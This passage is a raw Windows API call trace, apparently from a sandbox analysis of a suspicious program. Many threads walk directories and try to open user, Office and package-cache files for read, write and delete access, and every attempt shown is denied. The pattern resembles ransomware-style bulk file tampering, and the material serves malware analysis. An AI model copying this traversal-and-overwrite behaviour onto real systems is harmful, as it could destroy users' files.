[0152.905] wcscpy (in: _Dest=0x971d08, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\WER" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\WER") returned="C:\\Users\\All Users\\Microsoft\\Windows\\WER" [0152.906] wcscat (in: _Dest=0x971d08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\" [0152.906] wcscat (in: _Dest=0x971d08, _Source="ReportQueue" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportQueue") returned="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportQueue" [0152.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x971d08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1508 [0152.907] FindNextFileW (in: hFindFile=0x942430, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb59300, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2fb59300, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportQueue", cAlternateFileName="REPORT~2")) returned 0 [0152.907] FindClose (in: hFindFile=0x942430 | out: hFindFile=0x942430) returned 1 [0152.907] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91def0) returned 1 [0152.907] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fec48) returned 1 [0152.907] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff668) returned 1 Thread: id = 2705 os_tid = 0x16e4 [0147.716] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url")) returned 0x20 [0147.717] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url", dwFileAttributes=0x20) returned 0 [0147.717] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0147.717] GetLastError () returned 0x5 [0147.717] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url", dwFileAttributes=0x20) returned 0 [0147.717] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x971e70) returned 1 Thread: id = 2706 os_tid = 0x16e8 [0147.718] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url")) returned 0x20 [0149.897] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url", dwFileAttributes=0x20) returned 0 [0149.897] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0149.897] GetLastError () returned 0x5 [0149.897] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url", dwFileAttributes=0x20) returned 0 [0149.897] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f81a8) returned 1 Thread: id = 2707 os_tid = 0x16ec [0147.719] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url")) returned 0x20 [0149.895] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url", dwFileAttributes=0x20) returned 0 [0149.895] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0149.896] GetLastError () returned 0x5 [0149.896] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url", dwFileAttributes=0x20) returned 0 [0149.896] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e88f0) returned 1 Thread: id = 2708 os_tid = 0x16f0 [0147.719] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url")) returned 0x20 [0149.894] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url", dwFileAttributes=0x20) returned 0 [0149.894] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0149.894] GetLastError () returned 0x5 [0149.894] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url", dwFileAttributes=0x20) returned 0 [0149.895] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8698) returned 1 Thread: id = 2709 os_tid = 0x16f4 [0147.720] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url")) returned 0x20 [0149.220] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url", dwFileAttributes=0x20) returned 0 [0149.220] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0149.220] GetLastError () returned 0x5 [0149.220] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url", dwFileAttributes=0x20) returned 0 [0149.220] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90f438) returned 1 Thread: id = 2710 os_tid = 0x16f8 [0147.720] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url")) returned 0x20 [0149.219] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url", dwFileAttributes=0x20) returned 0 [0149.219] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0149.219] GetLastError () returned 0x5 [0149.219] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url", dwFileAttributes=0x20) returned 0 [0149.219] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8878) returned 1 Thread: id = 2711 os_tid = 0x16fc [0147.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+Connect to New Data Source.odc" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+connect to new data source.odc")) returned 0x20 [0147.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+Connect to New Data Source.odc", dwFileAttributes=0x20) returned 0 [0147.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+Connect to New Data Source.odc" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+connect to new data source.odc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0147.722] GetLastError () returned 0x5 [0147.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+Connect to New Data Source.odc", dwFileAttributes=0x20) returned 0 [0147.722] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b9df0) returned 1 Thread: id = 2712 os_tid = 0x1700 [0147.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+NewSQLServerConnection.odc" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+newsqlserverconnection.odc")) returned 0x20 [0147.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+NewSQLServerConnection.odc", dwFileAttributes=0x20) returned 0 [0147.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+NewSQLServerConnection.odc" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+newsqlserverconnection.odc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0147.723] GetLastError () returned 0x5 [0147.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+NewSQLServerConnection.odc", dwFileAttributes=0x20) returned 0 [0147.723] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6b00) returned 1 Thread: id = 2713 os_tid = 0x1704 [0147.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\107.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss\\107.accdt")) returned 0x20 [0147.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\107.accdt", dwFileAttributes=0x20) returned 0 [0147.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\107.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss\\107.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0147.725] GetLastError () returned 0x5 [0147.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\107.accdt", dwFileAttributes=0x20) returned 0 [0147.725] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x940e18) returned 1 Thread: id = 2714 os_tid = 0x1708 [0147.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\1100.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss\\1100.accdt")) returned 0x20 [0147.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\1100.accdt", dwFileAttributes=0x20) returned 0 [0147.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\1100.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss\\1100.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0147.726] GetLastError () returned 0x5 [0147.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\1100.accdt", dwFileAttributes=0x20) returned 0 [0147.726] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab8e8) returned 1 Thread: id = 2715 os_tid = 0x170c [0147.727] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xec) returned 0x8fa890 [0147.727] wcscpy (in: _Dest=0x8fa890, _Source="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64" [0147.727] wcscat (in: _Dest=0x8fa890, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\" [0147.727] wcscat (in: _Dest=0x8fa890, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*" [0147.727] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91da20 [0147.727] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x91da20 | out: lpFindFileData=0x91da20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942330 [0147.728] wcscmp (_String1=".", _String2=".") returned 0 [0147.728] FindNextFileW (in: hFindFile=0x942330, lpFindFileData=0x91da20 | out: lpFindFileData=0x91da20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.728] wcscmp (_String1="..", _String2=".") returned 1 [0147.728] wcscmp (_String1="..", _String2="..") returned 0 [0147.728] FindNextFileW (in: hFindFile=0x942330, lpFindFileData=0x91da20 | out: lpFindFileData=0x91da20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c0e500, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xd3c0e500, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xd3c0e500, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x165257, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0147.728] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0147.728] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0147.728] FindNextFileW (in: hFindFile=0x942330, lpFindFileData=0x91da20 | out: lpFindFileData=0x91da20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7a0c00, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfd7a0c00, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfd7a0c00, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0147.728] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2=".") returned 1 [0147.728] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2="..") returned 1 [0147.728] FindNextFileW (in: hFindFile=0x942330, lpFindFileData=0x91da20 | out: lpFindFileData=0x91da20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7a0c00, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfd7a0c00, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfd7a0c00, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0147.728] FindClose (in: hFindFile=0x942330 | out: hFindFile=0x942330) returned 1 [0147.728] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91da20) returned 1 [0147.728] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fa890) returned 1 [0147.728] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bbb48) returned 1 Thread: id = 2716 os_tid = 0x1710 [0147.729] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe8) returned 0xd4bbb48 [0147.729] wcscpy (in: _Dest=0xd4bbb48, _Source="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86" [0147.729] wcscat (in: _Dest=0xd4bbb48, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\" [0147.729] wcscat (in: _Dest=0xd4bbb48, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*" [0147.729] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91da20 [0147.729] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x91da20 | out: lpFindFileData=0x91da20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942330 [0147.730] wcscmp (_String1=".", _String2=".") returned 0 [0147.730] FindNextFileW (in: hFindFile=0x942330, lpFindFileData=0x91da20 | out: lpFindFileData=0x91da20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.730] wcscmp (_String1="..", _String2=".") returned 1 [0147.730] wcscmp (_String1="..", _String2="..") returned 0 [0147.730] FindNextFileW (in: hFindFile=0x942330, lpFindFileData=0x91da20 | out: lpFindFileData=0x91da20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd15e8b00, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xd15e8b00, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xd15e8b00, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x13babb, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0147.730] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0147.730] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0147.730] FindNextFileW (in: hFindFile=0x942330, lpFindFileData=0x91da20 | out: lpFindFileData=0x91da20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb17b200, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfb17b200, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfb17b200, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0147.730] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2=".") returned 1 [0147.730] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2="..") returned 1 [0147.730] FindNextFileW (in: hFindFile=0x942330, lpFindFileData=0x91da20 | out: lpFindFileData=0x91da20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb17b200, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfb17b200, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfb17b200, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0147.730] FindClose (in: hFindFile=0x942330 | out: hFindFile=0x942330) returned 1 [0147.731] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91da20) returned 1 [0147.731] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bbb48) returned 1 [0147.731] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bbc38) returned 1 Thread: id = 2717 os_tid = 0x1714 [0147.732] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7a) returned 0x8f84d8 [0147.732] wcscpy (in: _Dest=0x8f84d8, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64" [0147.732] wcscat (in: _Dest=0x8f84d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\" [0147.732] wcscat (in: _Dest=0x8f84d8, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*" [0147.732] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91da20 [0147.732] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*", lpFindFileData=0x91da20 | out: lpFindFileData=0x91da20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93aff8 [0148.828] wcscmp (_String1=".", _String2=".") returned 0 [0148.828] FindNextFileW (in: hFindFile=0x93aff8, lpFindFileData=0x91da20 | out: lpFindFileData=0x91da20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.828] wcscmp (_String1="..", _String2=".") returned 1 [0148.828] wcscmp (_String1="..", _String2="..") returned 0 [0148.828] FindNextFileW (in: hFindFile=0x93aff8, lpFindFileData=0x91da20 | out: lpFindFileData=0x91da20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x38770, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeedSync.dll", cAlternateFileName="")) returned 1 [0148.828] wcscmp (_String1="FeedSync.dll", _String2=".") returned 1 [0148.828] wcscmp (_String1="FeedSync.dll", _String2="..") returned 1 [0148.828] FindNextFileW (in: hFindFile=0x93aff8, lpFindFileData=0x91da20 | out: lpFindFileData=0x91da20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c136700, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c136700, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x33760, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0148.828] wcscmp (_String1="Microsoft.Synchronization.dll", _String2=".") returned 1 [0148.828] wcscmp (_String1="Microsoft.Synchronization.dll", _String2="..") returned 1 [0148.828] FindNextFileW (in: hFindFile=0x93aff8, lpFindFileData=0x91da20 | out: lpFindFileData=0x91da20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources", cAlternateFileName="RESOUR~1")) returned 1 [0148.828] wcscmp (_String1="resources", _String2=".") returned 1 [0148.828] wcscmp (_String1="resources", _String2="..") returned 1 [0148.829] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x9ac5f8 [0148.829] wcscpy (in: _Dest=0x9ac5f8, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64" | out: 